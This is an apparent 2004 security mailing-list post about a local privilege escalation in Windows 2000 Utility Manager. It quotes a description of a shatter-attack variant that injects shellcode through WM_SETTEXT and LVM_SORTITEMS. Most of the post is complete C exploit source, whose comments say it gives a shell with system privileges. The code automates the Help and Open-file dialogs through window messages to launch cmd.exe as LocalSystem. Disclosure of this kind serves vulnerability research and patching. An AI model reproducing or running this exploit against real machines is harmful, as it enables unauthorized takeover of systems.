Re: Microsoft Window Utility Manager Local Elevation of Privileges

[Cesar <cesarc56@xxxxxxxxx>]

See attached ;)

Cesar.
--- Chris Paget <ivegotta@xxxxxxxxxxxx> wrote:
> On Tue, 13 Jul 2004 16:00:33 -0400, you wrote:
> ...
> 
> This isn't quite right - on my system at least,
> browsing for cmd.exe
> in this way generates an error:
> "The C:\WINNT\system32\cmd.exe file is not a Windows
> Help file, or the
> file is corrupted."
> 
> That said, the file dialog can be made to display a
> ListView control
> (display details rather than a list).  This ListView
> control will
> accept both WM_SETTEXT (to inject shellcode into the
> caption of the
> window) followed by LVM_SORTITEMS (which specifies
> the address for a
> sort function) to execute said code.  It is a valid
> method for
> arbitrary code execution as LocalSystem, but not
> quite as simply as
> Vivek makes out.
> 
> Chris
> 
> -- 
> Chris Paget
> ivegotta@xxxxxxxxxxxx



                
__________________________________
Do you Yahoo!?
New and Improved Yahoo! Mail - Send 10MB messages!
http://promotions.yahoo.com/new_mail

//by Cesar Cerrudo  sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second 
one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
        HWND lHandle, lHandle2;
        POINT point;
        char sText[]="%windir%\\system32\\cmd.ex?";

//  run utility manager
//      system("utilman.exe /start");
//      Sleep(500);

        lHandle=FindWindow(NULL, "Utility manager");   
        if (!lHandle) {
                printf("\nUsage :\nPress Win Key+U to launch Utility Manager 
and then run UtilManExploit2.exe\n");
                return 0;
        }

        PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button 
in the taskbar or Alt+Space Bar
        
        Sleep(100);

        SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP  0x0365  
lParam must be <>NULL 
        Sleep(300);
        
        SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, 
VK_RETURN, 0);
        Sleep(500);


        // find open file dialog window
        lHandle = FindWindow("#32770","Open");

        // get input box handle
        lHandle2 = GetDlgItem(lHandle, 0x47C);
        Sleep(500);

        // set text to filter listview to display only cmd.exe
        SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
        Sleep(800);

        // send return
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

        //get navigation bar handle
        lHandle2 = GetDlgItem(lHandle, 0x4A0);
        
        //send tab
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
        Sleep(500);
        lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
        //get list view handle
        lHandle2 = GetDlgItem(lHandle2, 0x1);

        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
        Sleep(500);

        //popup context menu
        PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
        Sleep(1000);

        // get context menu handle
        point.x =10; point.y =30;
        lHandle2=WindowFromPoint(point);

        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

        SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
        Sleep(500);
        SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close 
open error window
        SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// 
close utility manager
        return 0;
}